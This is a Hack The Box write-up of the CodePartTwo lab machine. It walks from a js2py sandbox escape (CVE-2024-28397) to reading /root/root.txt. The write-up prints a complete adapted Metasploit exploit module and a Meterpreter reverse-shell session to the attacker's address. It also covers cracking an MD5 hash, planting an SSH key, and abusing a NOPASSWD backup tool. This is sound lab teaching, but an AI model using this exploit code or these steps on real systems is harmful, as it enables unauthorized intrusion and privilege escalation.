Skip to content

HTB CodePartTwo writeup

A technical writeup for educational use, covering only the authorized, isolated Hack The Box lab.

CodePartTwo was a Linux box exposing a web application that could run JavaScript. The distributed ZIP listed js2py==0.74. After registering a web account, a sandbox escape payload sent to POST /run_code yielded a shell as app. Next, an MD5 hash for marco stored in SQLite was cracked, allowing a switch to the OS user marco. Finally, the NOPASSWD-enabled npbackup-cli loaded a configuration that included /root/; /root/root.txt was read from the snapshot it created as root. Obtaining a root shell was not recorded.

ItemValue
BoxCodePartTwo
PlatformHack The Box
OSLinux, Ubuntu 20.04.6 LTS
DifficultyEasy
Attacking machine
|
| HTTP enumeration and the distributed ZIP reveal js2py==0.74
v
authenticated POST /run_code on codeparttwo.htb:8000
|
| register and log in as pwn; send CVE-2024-28397 as JSON code
v
app@codeparttwo
|
| crack marco's MD5 from users.db with hashcat -m 0; su - marco
v
marco@codeparttwo
|
| pass NOPASSWD npbackup-cli a config containing /root/; run -b
v
snapshot 52a4bb12 created as root
|
| sudo npbackup-cli --dump /root/root.txt
v
read the protected root file /root/root.txt

At the time of the recording, the target IP was 10.129.232.59, the web hostname was codeparttwo.htb, and the attacking VPN address was 10.10.16.45. The IP could change when the lab restarted. For name resolution, the following entry was added to the attacking machine’s /etc/hosts.

Terminal window
sudo vim /etc/hosts
10.129.232.59 codeparttwo.htb

The OS was confirmed from the banner after SSH login.

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

Scan all TCP ports.

Terminal window
nmap -sS -A -p- --min-rate 10000 10.129.232.59
Nmap scan report for 10.129.232.59
Host is up (0.29s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodePartTwo
OS details: Linux 4.15 - 5.19
  • 22/tcp ran OpenSSH 8.2p1. No usable credentials were available yet.
  • 8000/tcp ran Gunicorn 20.0.4, and the page title matched the box name.
  • Only these two ports were exposed, so the web application was the next place to inspect.
  • nmap estimated a broad kernel range of Linux 4.15 - 5.19. The later SSH banner identified Ubuntu 20.04.6 LTS and 5.4.0-216-generic.

Check the home page and authentication forms from the attacking machine.

Terminal window
curl -i http://codeparttwo.htb:8000/
curl -i http://codeparttwo.htb:8000/login
curl -i http://codeparttwo.htb:8000/register
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
<title>Welcome to CodePartTwo</title>
<a href="/login" class="cta-button">Login</a>
<a href="/register" class="cta-button">Register</a>
<a href="/download" class="cta-button">Download App</a>
<form action="/login" method="POST">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
</form>
<form method="POST">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
</form>

The home page advertised JavaScript creation and execution, as well as a /download link for the application that was available before login. Since /register allowed a new web account, the execution feature could be tested before finding credentials for an existing user.

Download and extract the ZIP on the attacking machine. The recorded command used -i, which prepended 315 bytes of response headers. unzip warned about the extra data but extracted the archive successfully.

Terminal window
curl -iOL http://codeparttwo.htb:8000/download
file download
unzip download
download: Zip archive, with extra data prepended
warning [download]: 315 extra bytes at beginning or within zipfile
(attempting to process anyway)
inflating: app/app.py
inflating: app/requirements.txt
inflating: app/instance/users.db

For a fresh download, omit -i. The extracted requirements.txt listed this dependency:

js2py==0.74

This version suggested investigating CVE-2024-28397. However, there is no record of reviewing the full distributed app.py implementation. The entry point was chosen based on the dependency and the HTTP requests and responses in the next section.

Registration, Login, and the Code Execution API

Section titled “Registration, Login, and the Code Execution API”

Install and start Freja on the attacking machine. Running freja without arguments opens its TUI and listens as an HTTP proxy on local 127.0.0.1:8080.

Terminal window
cargo install freja
freja

In Firefox, open Settings, then Network Settings, then Manual proxy configuration. Set the HTTP proxy host to localhost and port to 8080. Freja’s TUI can then inspect traffic from Firefox to the box’s HTTP site. Press c to continue a paused request.

Register test:test in the browser, log in, and capture the HTTP traffic with Freja. test was a newly created web account.

POST /register HTTP/1.1
Host: codeparttwo.htb:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
username=test&password=test

Registration redirected to GET /login. Log in with the same credentials.

POST /login HTTP/1.1
Host: codeparttwo.htb:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: http://codeparttwo.htb:8000
Referer: http://codeparttwo.htb:8000/login
username=test&password=test

After login, the dashboard returned 200 with a session cookie.

GET /dashboard HTTP/1.1
Host: codeparttwo.htb:8000
Cookie: session=eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InRlc3QifQ.arZjzQ.MO-1muc0LGyhn7BxLxpHYuCU4Co
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Fri, 25 Sep 2026 12:06:46 GMT
Vary: Cookie
Content-Type: text/html; charset=utf-8
Content-Length: 1669
<title>CodePartTwo Dashboard</title>
...
<h1>Dashboard</h1>
<p>Create, save, run, and manage your JavaScript code with CodePartTwo.</p>
<a href="/logout" class="cta-button">Logout</a>

The cookie payload eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InRlc3QifQ decoded to {"user_id":3,"username":"test"}. Later, the SQLite row for test had id=3.

Entering var x = 16;\nx; in the dashboard and clicking Run Code sent this request:

POST /run_code HTTP/1.1
Host: codeparttwo.htb:8000
Cookie: session=eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InRlc3QifQ.arZjzQ.MO-1muc0LGyhn7BxLxpHYuCU4Co
Content-Type: application/json
Content-Length: 26
Origin: http://codeparttwo.htb:8000
Referer: http://codeparttwo.htb:8000/dashboard
{
"code": "var x = 16;\nx;"
}
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Fri, 25 Sep 2026 12:08:48 GMT
Content-Length: 14
Content-Type: application/json
{
"result": 16
}

Freja’s TUI showed the same /run_code exchange as follows. The display was narrowed, and only the lines needed for analysis were transcribed.

┌Flows [1 Traffic] mode=Pretty layout=Split────────────────────────────┐
│> HTTP live POST http://codeparttwo.htb:8000/run_code HTTP/1.1 │
└───────────────────────────────────────────────────────────────────────┘
┌Request [Pretty]──────────────────────┐┌Response [Pretty]──────────────┐
│POST /run_code HTTP/1.1 ││HTTP/1.1 200 OK │
│content-type: application/json ││content-type: application/json │
│{"code":"var x = 16;\nx;"} ││{"result":16} │
└──────────────────────────────────────┘└───────────────────────────────┘

The JavaScript input went into the JSON code key and was evaluated by the server-side /run_code endpoint. This API and js2py==0.74 together justified testing CVE-2024-28397.

The PyLoad Metasploit module exploit/linux/http/pyload_js2py_cve_2024_39205 contained JavaScript for the same js2py escape. On this box, send {"code": ...} to authenticated POST /run_code.

Reuse the js2py escape JavaScript from the existing PyLoad module, but adapt its HTTP calls to this box: port 8000, authenticated POST /run_code, and a JSON code body. PyLoad-specific /flash/addcrypted2, Host: 127.0.0.1, and crypted / jk were not used.

The first attempt registered and logged in on every execute_command, repeating the work during AutoCheck and CmdStager. The final version called authenticate from the entry points of check and exploit, authenticating once per run. Its success test remained inherited from the original module: execute_command did not count the HTTP 200 JSON returned by a successful /run_code call as success. The failed check result came from that response test; the later session confirmed code execution.

The following is the complete module actually used. Save it as htb_codeparttwo.rb on the Metasploit module search path, then load exploit/linux/http/htb_codeparttwo. The original PyLoad name, description, references, and Privileged => true remained, but the vulnerability used on this box was js2py CVE-2024-28397, and the shell ran as app.

##
# This module requires Metasploit: https://metasploit.com/download
# Original source: https://github.com/rapid7/metasploit-framework
#
# Derived from:
# modules/exploits/linux/http/pyload_js2py_cve_2024_39205.rb
#
# Modified for the Hack The Box CodePartTwo lab.
#
# Metasploit Framework is distributed under the BSD 3-Clause License.
##
require 'rex/stopwatch'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
189 collapsed lines
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)',
'Description' => %q{
CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate
javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference
to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions
and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74
is the latest version of js2py which was released Nov 6, 2022.
CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source
download manager designed to automate file downloads from various online sources. Pyload is vulnerable because
it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint.
This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we
can bypass this restriction in order to access the API to achieve unauth RCE.
},
'Author' => [
'Marven11', # PoC
'Spencer McIntyre', # Previous pyLoad module which this is based on
'jheysel-r7' # Metasploit module
],
'References' => [
[ 'CVE', '2024-39205' ],
[ 'CVE', '2024-28397' ],
[ 'EDB', '52532' ],
[ 'URL', 'https://github.com/Marven11/CVE-2024-39205-Pyload-RCE' ],
[ 'GHSA', 'w7hq-f2pj-c53g', 'pyload/pyload' ],
[ 'URL', 'https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape' ],
],
'DisclosureDate' => '2024-10-28',
'License' => MSF_LICENSE,
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
],
],
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(8000),
OptString.new('USERNAME', [true, 'Username', 'pwn']),
OptString.new('PASSWORD', [true, 'Password', 'pwn']),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
authenticate
sleep_time = rand(5..10)
_, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_command("sleep #{sleep_time}")
end
vprint_status("Elapsed time: #{elapsed_time} seconds")
unless elapsed_time > sleep_time
return CheckCode::Safe('Failed to test command injection.')
end
CheckCode::Vulnerable('Successfully tested command injection.')
rescue Msf::Exploit::Failed
return CheckCode::Safe('Failed to test command injection.')
end
def exploit
authenticate
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
if execute_command(payload.encoded)
print_good("Successfully executed command: #{payload.encoded}")
end
when :linux_dropper
execute_cmdstager
end
end
def javascript_payload(cmd)
js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript })
js = <<~EOS
let #{js_vars[:command]} = "#{cmd}"
let #{js_vars[:hacked]}, #{js_vars[:bymarve]}, #{js_vars[:n11]}
let #{js_vars[:getattr]}, #{js_vars[:obj]}
#{js_vars[:base]} = '__base__'
#{js_vars[:getattribute]} = '__getattribute__'
#{js_vars[:hacked]} = Object.getOwnPropertyNames({})
#{js_vars[:bymarve]} = #{js_vars[:hacked]}[#{js_vars[:getattribute]}]
#{js_vars[:n11]} = #{js_vars[:bymarve]}("__getattribute__")
#{js_vars[:obj]} = #{js_vars[:n11]}("__class__")[#{js_vars[:base]}]
#{js_vars[:getattr]} = #{js_vars[:obj]}[#{js_vars[:getattribute]}]
#{js_vars[:sub_class]} = '__subclasses__';
function #{js_vars[:findpopen]}(#{js_vars[:o]}) {
let #{js_vars[:result]};
for(let #{js_vars[:i]} in #{js_vars[:o]}[#{js_vars[:sub_class]}]()) {
let #{js_vars[:item]} = #{js_vars[:o]}[#{js_vars[:sub_class]}]()[#{js_vars[:i]}]
if(#{js_vars[:item]}.__module__ == "subprocess" && #{js_vars[:item]}.__name__ == "Popen") {
return #{js_vars[:item]}
}
if(#{js_vars[:item]}.__name__ != "type" && (#{js_vars[:result]} = #{js_vars[:findpopen]}(#{js_vars[:item]}))) {
return #{js_vars[:result]}
}
}
}
#{js_vars[:n11]} = #{js_vars[:findpopen]}(#{js_vars[:obj]})(#{js_vars[:command]}, -1, null, -1, -1, -1, null, null, true).communicate()
EOS
opts = { 'Strings' => true }
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.obfuscate(memory_sensitive: true)
js.to_s
end
def execute_command(cmd, _opts = {})
cmd.gsub!(/\\/, '\\\\\\\\')
cmd.gsub!(/"/, '\"')
vprint_status("Executing command: #{cmd}")
crypted_b64 = Rex::Text.encode_base64(rand(4))
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'run_code'),
'ctype' => 'application/json',
'data' => { 'code' => javascript_payload(cmd) }.to_json
)
# The command will either cause the response to timeout or return a 500
return if res.nil?
return if res.code == 500 && res.get_xml_document.xpath('//title').text == 'Sorry, something went wrong... :('
fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}")
end
def authenticate
return if @authenticated
user = datastore['USERNAME']
pass = datastore['PASSWORD']
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'register'),
'vars_post' => { 'username' => user, 'password' => pass }
)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login'),
'vars_post' => { 'username' => user, 'password' => pass },
'keep_cookies' => true
)
fail_with(Failure::NoAccess, 'login failed') if res.nil?
vprint_status("Register and Login Success: #{user}:#{pass}")
@authenticated = true
end
end

javascript_payload searched Python’s type hierarchy for subprocess.Popen to run a command. authenticate retained the cookie after logging in, but did not check the login response content. The original PyLoad execute_command treated only a timeout or a particular HTTP 500 response as success, so check reported failure when /run_code returned HTTP 200 JSON. This test was not fixed in the final version.

Run the module from Metasploit on the attacking machine. It registered and used pwn:pwn; LHOST was the attacking VPN address.

msf > use exploit/linux/http/htb_codeparttwo
msf exploit(linux/http/htb_codeparttwo) > run verbose=true rhosts=10.129.232.59 lhost=10.10.16.45 forceexploit=true
[*] Register and Login Success: pwn:pwn
[*] Executing command: sleep 10
[!] The target is not exploitable. Failed to test command injection. ForceExploit is enabled, proceeding with exploitation.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3106788 bytes) to 10.129.232.59
[*] Meterpreter session 1 opened (10.10.16.45:4444 -> 10.129.232.59:37818)
[*] Command Stager progress - 100.00% done (823/823 bytes)
meterpreter >

ForceExploit continued after check, and the Meterpreter session confirmed successful execution. CmdStager temporarily placed /tmp/hcRRI.b64 and /tmp/iboRV and attempted to remove them at the end of its generated command.

Open a shell from Meterpreter and upgrade it to a pseudo-terminal.

Terminal window
meterpreter > shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
ls -la
ls -la /home
cat /etc/passwd | grep 'sh$'
Process 1597 created.
Channel 1 created.
app@codeparttwo:~/app$
total 32
drwxrwxr-x 6 app app 4096 Sep 1 2025 .
drwxr-x--- 5 app app 4096 Apr 6 2025 ..
drwxr-xr-x 2 app app 4096 Sep 1 2025 __pycache__
-rw-r--r-- 1 app app 3679 Sep 1 2025 app.py
drwxrwxr-x 2 app app 4096 Sep 25 13:21 instance
-rw-rw-r-- 1 app app 49 Jan 17 2025 requirements.txt
drwxr-xr-x 4 app app 4096 Sep 1 2025 static
drwxr-xr-x 2 app app 4096 Sep 1 2025 templates
total 16
drwxr-xr-x 4 root root 4096 Jan 2 2025 .
drwxr-xr-x 18 root root 4096 Nov 16 2024 ..
drwxr-x--- 5 app app 4096 Apr 6 2025 app
drwxr-x--- 6 marco marco 4096 Sep 25 13:30 marco
root:x:0:0:root:/root:/bin/bash
marco:x:1000:1000:marco:/home/marco:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bash

The web process ran as app. Another user, marco, could log in. The application worked from /home/app/app.

Terminal window
ls templates
ls static
ls instance
file instance/users.db
base.html dashboard.html index.html login.html register.html
app.zip css js
users.db
instance/users.db: SQLite 3.x database, last written using SQLite version 3031001

The running target’s templates directory lacked reviews.html, although it appeared in the distributed ZIP. The credentials were stored in instance/users.db.

Terminal window
sqlite3 instance/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
.tables
.schema user
select * from user;
.exit
code_snippet user
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(80) NOT NULL,
password_hash VARCHAR(128) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
);
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
3|test|098f6bcd4621d373cade4e832627b4f6
4|pwn|e4a25f7b052442a076b02ee9a1818d2e

test and pwn were registered during this investigation; marco was an existing user. The test row’s id=3 matched the dashboard cookie’s user_id. Each password_hash was a 32-character hexadecimal value. The hash of the chosen password test, 098f6bcd4621d373cade4e832627b4f6, is the known MD5 value for test, supporting an MD5 interpretation of the column.

Save marco’s hash to a file on the attacking machine and inspect its format.

Terminal window
printf '%s\\n' '649c9d65a206a75f5abe509fe128bce5' > hash
hashid hash
Analyzing '649c9d65a206a75f5abe509fe128bce5'
[+] MD5
[+] NTLM

A 32-character hexadecimal value alone does not identify the hash algorithm. But the stored hash for the newly registered test matched MD5(test), so the marco row was treated as MD5 too.

Run a dictionary attack against marco’s hash with MD5 (mode 0) on the attacking machine. The cracking log was not retained, so the following is a reproduction command. The later successful su confirms that the plaintext password worked.

Terminal window
hashcat -m 0 hash /usr/share/wordlists/rockyou.txt

Trying sweetangelbabylove for the OS account marco succeeded with su. The password corresponding to the hash in the SQLite marco row was reused for the OS account.

Terminal window
su - marco
Password: sweetangelbabylove
marco@codeparttwo:~$
Terminal window
ls -la
cat user.txt
total 44
drwxr-x--- 6 marco marco 4096 Sep 25 13:45 .
drwxr-xr-x 4 root root 4096 Jan 2 2025 ..
drwx------ 7 root root 4096 Apr 6 2025 backups
lrwxrwxrwx 1 root root 9 Oct 26 2024 .bash_history -> /dev/null
-rw-r--r-- 1 marco marco 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 marco marco 3771 Feb 25 2020 .bashrc
drwx------ 2 marco marco 4096 Apr 6 2025 .cache
drwxrwxr-x 4 marco marco 4096 Feb 1 2025 .local
lrwxrwxrwx 1 root root 9 Nov 17 2024 .mysql_history -> /dev/null
-rw-rw-r-- 1 root root 2893 Jun 18 2025 npbackup.conf
-rw-r--r-- 1 marco marco 807 Feb 25 2020 .profile
lrwxrwxrwx 1 root root 9 Oct 26 2024 .python_history -> /dev/null
lrwxrwxrwx 1 root root 9 Oct 31 2024 .sqlite_history -> /dev/null
drwx------ 2 marco marco 4096 Oct 20 2024 .ssh
-rw-r----- 1 root marco 33 Sep 25 11:40 user.txt
[REDACTED]

user.txt was owned by root:marco and readable by marco. backups was accessible only to root, and npbackup.conf was root-owned but world-readable. The history files were linked to /dev/null.

The PTY through Meterpreter was awkward to use, so switch to SSH as marco. First, generate an ed25519 key pair on the attacking machine. No log of the key-generation command was retained, so the following steps show how to reproduce it.

Terminal window
ssh-keygen -t ed25519 -f ./codeparttwo
cat ./codeparttwo.pub

The public key used in the recording was the following line. For reproduction, use the contents of a newly generated .pub file.

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEdSeKuXX3olLmqRsgE1mfONoj1IFIPcgHgYbbBcdNvC

The public key was written to marco’s authorized_keys on the target. The original file was empty. The echo below uses the recorded key; replace it with your own public key when reproducing the steps.

On the target:

Terminal window
cd .ssh
ls -la
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEdSeKuXX3olLmqRsgE1mfONoj1IFIPcgHgYbbBcdNvC' > authorized_keys
ls -la
total 8
drwx------ 2 marco marco 4096 Oct 20 2024 .
drwxr-x--- 6 marco marco 4096 Sep 25 14:30 ..
-rw------- 1 marco marco 0 Oct 20 2024 authorized_keys
total 12
drwx------ 2 marco marco 4096 Oct 20 2024 .
drwxr-x--- 6 marco marco 4096 Sep 25 14:30 ..
-rw------- 1 marco marco 81 Sep 25 14:31 authorized_keys

On the attacking machine:

Terminal window
ssh -i ./codeparttwo marco@codeparttwo.htb
The authenticity of host 'codeparttwo.htb (10.129.232.59)' can't be established.
ED25519 key fingerprint is: SHA256:KGKFyaW9Pm7DDxZe/A8oi/0hkygmBMA8Y33zxkEjcD4
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'codeparttwo.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
System information as of Fri 25 Sep 2026 02:32:09 PM UTC
System load: 0.0
Usage of /: 57.7% of 5.08GB
Memory usage: 23%
Swap usage: 0%
Processes: 222
Users logged in: 0
IPv4 address for eth0: 10.129.232.59
IPv6 address for eth0: dead:beef::a0de:adff:fe8e:c1f
Last login: Fri Sep 25 14:32:10 2026 from 10.10.16.45
marco@codeparttwo:~$

This provided a normal TTY as marco. Privileges remained those of marco.

Terminal window
sudo -l
Matching Defaults entries for marco on codeparttwo:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codeparttwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

The sudo rule named only the binary; its arguments were unrestricted. The help output as marco showed -c for selecting a configuration and --ls / --dump for reading backup contents.

Terminal window
npbackup-cli -h
usage: npbackup-cli
[-c CONFIG_FILE]
[-b]
[--ls [LS]]
[--forget FORGET]
[--dump DUMP]

-b created a backup, --ls listed its contents, and --dump wrote a specified file to standard output. Combined with unrestricted sudo arguments, these options let marco process a chosen backup source as root.

Terminal window
sudo npbackup-cli
sudo npbackup-cli -c npbackup.conf
2026-09-25 14:01:43,379 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-09-25 14:01:43,379 :: CRITICAL :: Cannot run without configuration file.
2026-09-25 14:01:43,385 :: INFO :: ExecTime = 0:00:00.008369, finished, state is: critical.
2026-09-25 14:02:02,393 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-09-25 14:02:02,414 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
2026-09-25 14:02:02,421 :: WARNING :: No operation has been requested. Try --help
2026-09-25 14:02:02,425 :: INFO :: ExecTime = 0:00:00.034251, finished, state is: warnings.

The log showed npbackup 3.0.1 running as root. Without a configuration, it reported Cannot run without configuration file.; with /home/marco/npbackup.conf, it reported Loaded config 4E3B3BFD. No operation was requested, so no backup was created at this point.

The original configuration contained encrypted repo_uri and repo_password values under repos.default, and its only backup paths entry was /home/app/app/. The relevant settings, including the later size error threshold, were:

repos:
default:
repo_uri: <existing encrypted value>
backup_opts:
paths:
- /home/app/app/
repo_opts:
repo_password: <existing encrypted value>
groups:
default_group:
backup_opts:
minimum_backup_size_error: 10 MiB

npbackup.conf was owned by root and not writable by marco. The record shows its contents copied to /tmp/npbackup.conf before changing paths. Preserve the original encrypted values when reproducing the steps.

The command that created /tmp/npbackup.conf was not recorded. To reproduce it, copy the original configuration as marco, preserving the encrypted repository details.

Terminal window
cp /home/marco/npbackup.conf /tmp/npbackup.conf
sudo npbackup-cli -c /tmp/npbackup.conf --ls
Loaded config 4E3B3BFD in /tmp/npbackup.conf
Showing content of snapshot latest in repo default
snapshot 35a4dac3 of [/home/app/app] at 2025-04-06 03:50:16.222832208 +0000 UTC by root@codetwo filtered by []:
/home/app/app/instance/users.db
Operation finished

Configuration hash 4E3B3BFD matched the original npbackup.conf, and the latest snapshot at this point contained only /home/app/app. It could not be used to read /root/root.txt.

Add /root/ to paths in /tmp/npbackup.conf on the target. Keep the original encrypted repo_uri and repo_password unchanged.

backup_opts:
paths:
- /home/app/app/
- /root/
source_type: folder_list

Run the backup with sudo as marco. This changed state by adding a snapshot.

Terminal window
sudo npbackup-cli -c /tmp/npbackup.conf -b
npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
Loaded config 73199EB2 in /tmp/npbackup.conf
Running backup of ['/home/app/app/', '/root/'] to repo default
ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found
WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
processed 27 files, 246.625 KiB in 0:00
snapshot 52a4bb12 saved
Backend finished with success
ERROR :: Backup is smaller than configured minmium backup size
ERROR :: Operation finished with failure
ExecTime = 0:00:03.421497, finished, state is: errors.

The configuration hash changed from 4E3B3BFD to 73199EB2, and the source included /root/. The final state was errors because an exclude file was missing and the backup was below the 10 MiB minimum, but snapshot 52a4bb12 saved appeared first. Check whether it was saved with --ls.

Terminal window
sudo npbackup-cli -c /tmp/npbackup.conf --ls
Loaded config 73199EB2 in /tmp/npbackup.conf
Showing content of snapshot latest in repo default
snapshot 52a4bb12 of [/home/app/app /root] at 2026-09-25 14:38:14.885922018 +0000 UTC by root@codeparttwo filtered by []:
/root
/root/root.txt
Operation finished, state is: success.

The latest snapshot had changed to the new one and included /root/root.txt. --dump wrote its contents to standard output.

Terminal window
sudo npbackup-cli -c /tmp/npbackup.conf --dump /root/root.txt
[REDACTED]

This demonstrated a read of a protected file from a snapshot created with root privileges. A root shell was not recorded.

  • templates/reviews.html appeared in the distributed ZIP but was absent from /home/app/app/templates on the target. Given the difference between the archive and the running application, the observed /run_code endpoint was used as the entry point.
  • Metasploit check displayed Failed to test command injection because the original module did not treat a successful HTTP 200 JSON response as success. The established session was the evidence of execution.
  • /home/marco/backups was owned by root with mode drwx------ and could not be read directly by marco. The snapshot was inspected with sudo npbackup-cli --ls.
  • npbackup-cli --ls showed the contents of stored snapshots, not the configuration file’s paths. Merely adding /root/ to the configuration would not make it appear in --ls. A backup had to be run once as root with -b, saved, and then checked with --ls.

There is no record of running or verifying cleanup. The following lists observed state changes and restoration plans. All verification results are unconfirmed.

  • Attacking machine /etc/hosts
    • Change: Added 10.129.232.59 codeparttwo.htb.
    • Original state: Not recorded.
    • Restoration plan: Remove the added line.
    • Verification: Not confirmed.
  • Freja and Firefox proxy settings on the attacking machine
    • Change: Installed Freja with cargo install freja and set Firefox’s HTTP proxy to localhost:8080.
    • Original state: Freja installation and Firefox settings not recorded.
    • Restoration plan: Stop Freja and restore Firefox’s proxy settings. Uninstall with cargo uninstall freja only if it was installed specifically for this run.
    • Verification: Not confirmed.
  • Distributed ZIP, extracted files, and hash input file on the attacking machine
    • Change: Downloaded and extracted the ZIP from /download, then saved marco’s hash to a file for cracking.
    • Original state: Not recorded.
    • Restoration plan: Remove files created for the investigation.
    • Verification: Not confirmed.
  • Web accounts test and pwn
    • Change: Added rows to the user table in users.db with POST /register (id=3 was test and id=4 was pwn when observed).
    • Original state: The table before registration was not checked. Rows for marco and app were also present when observed.
    • Restoration plan: Reset the target or delete those rows from SQLite.
    • Verification: Not confirmed.
  • /tmp/gvaeT.b64, /tmp/BkjMB, /tmp/hcRRI.b64, and /tmp/iboRV
    • Change: The Linux Dropper command stager placed and ran a temporary ELF. The generated command ended with rm -f.
    • Original state: Not recorded. It was not confirmed whether the deletion at the end of the generated command succeeded.
    • Restoration plan: If files remain, run rm -f /tmp/gvaeT.b64 /tmp/BkjMB /tmp/hcRRI.b64 /tmp/iboRV.
    • Verification: Not confirmed.
  • /home/marco/.ssh/authorized_keys
    • Change: Overwrote an empty file (0 bytes) with an 81-byte ed25519 public key from the attacking machine.
    • Original state: -rw------- 1 marco marco 0 Oct 20 2024 authorized_keys.
    • Restoration plan: Run truncate -s 0 /home/marco/.ssh/authorized_keys or restore the original empty file.
    • Verification: Not confirmed.
  • SSH key pair on the attacking machine
    • Change: Used box-specific ./codeparttwo and ./codeparttwo.pub for SSH.
    • Original state: The state before key generation was not recorded.
    • Restoration plan: Delete both files if they were generated specifically for this run.
    • Verification: Not confirmed.
  • /tmp/npbackup.conf
    • Change: Copied the home-directory configuration, added /root/ to paths, and used it for the sudo backup.
    • Original state: Prior existence of this path was not recorded.
    • Restoration plan: Run rm -f /tmp/npbackup.conf.
    • Verification: Not confirmed.
  • npbackup snapshot 52a4bb12
    • Change: sudo npbackup-cli -c /tmp/npbackup.conf -b added a snapshot containing /home/app/app and /root. The older 35a4dac3 already existed.
    • Original state: Latest was 35a4dac3 (only /home/app/app, root@codetwo, 2025-04-06).
    • Restoration plan: Try sudo npbackup-cli -c /home/marco/npbackup.conf --forget 52a4bb12, then check with --ls whether latest has returned to its original contents. This was not run in the record.
    • Verification: Not confirmed.
  • Attacking machine SSH known_hosts
    • Change: Added the ED25519 fingerprint SHA256:KGKFyaW9Pm7DDxZe/A8oi/0hkygmBMA8Y33zxkEjcD4 for codeparttwo.htb.
    • Original state: No entry for this hostname was recorded.
    • Restoration plan: Remove the relevant entry.
    • Verification: Not confirmed.
  • Web test / test
    • Obtained by: Registered through POST /register.
    • Account: Application user table, id=3.
    • First used: POST /login and GET /dashboard.
    • Access enabled: POST /run_code with a session cookie. Hash: 098f6bcd4621d373cade4e832627b4f6 (MD5(test)).
  • Web pwn / pwn
    • Obtained by: Metasploit authenticate called POST /register.
    • Account: user table, id=4.
    • First used: POST /login in the same function (with keep_cookies).
    • Access enabled: A session for sending CVE-2024-28397 to /run_code. Hash: e4a25f7b052442a076b02ee9a1818d2e.
  • Flask session cookie
    • Obtained by: Observed in HTTP traffic after logging in as test.
